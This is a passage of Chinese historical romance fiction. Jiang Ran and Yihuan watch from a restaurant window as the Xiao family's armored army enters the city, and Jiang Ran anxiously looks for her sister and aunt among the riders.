一进屋,忆欢便急切的跑到窗边打开窗户,她搬来凳子坐在窗下手指扣着窗沿望着街上来往的人。 趁忆欢没注意到她,姜燃抓住机会,将装火莲花的盒子藏到了桌下。 其实带忆欢来和羹居她也有私心,阿姜姐和莲娘舅母离家这么久,不知道她们好不好,有没有受伤。她在盛安的日子,每天都担心不已。 而且只有跟忆欢来这,她才能更好隐藏自己的身份。 街道上传来战马嘶鸣声,而后就是兵士们步伐沉稳的踏地声。 铁甲覆面军入城了。 姜燃扼制住激动,强忍着奔到窗边的冲动,一步一步走到忆欢身边。 窗外,旌旗猎猎,飞扬的战旗在风中猎猎作响,上面写着苍劲有力的肖字。 姜燃焦急的在将士中寻找着姐姐和舅母的身影,策马在前头开路的应是定远侯肖攘镰,他身后跟着两个人一大一小,两人皆手持肖家戟,铁甲覆面。 再后面,是两大一小,小一点的那人手握长枪,紧紧跟在前面手持肖家戟那人身后。其中两个大人,佩戴的兵器皆是双剑。 望见熟悉的双剑,姜燃擂鼓般的心跳平歇了不少。还好,她们都安然无恙…… 炽热的目光从上方投来,骑在马上的肖北休像是感应到什么似的抬头望去,正好瞥见那一朵鬓间的石榴花。火红的颜色,很是好看。 这目光也落到了姜燃的眼里,她顺着望去,才发现身边的忆欢眼睛闪着光,嘴角含笑,连鬓间的石榴花步摇都在迎风摇荡。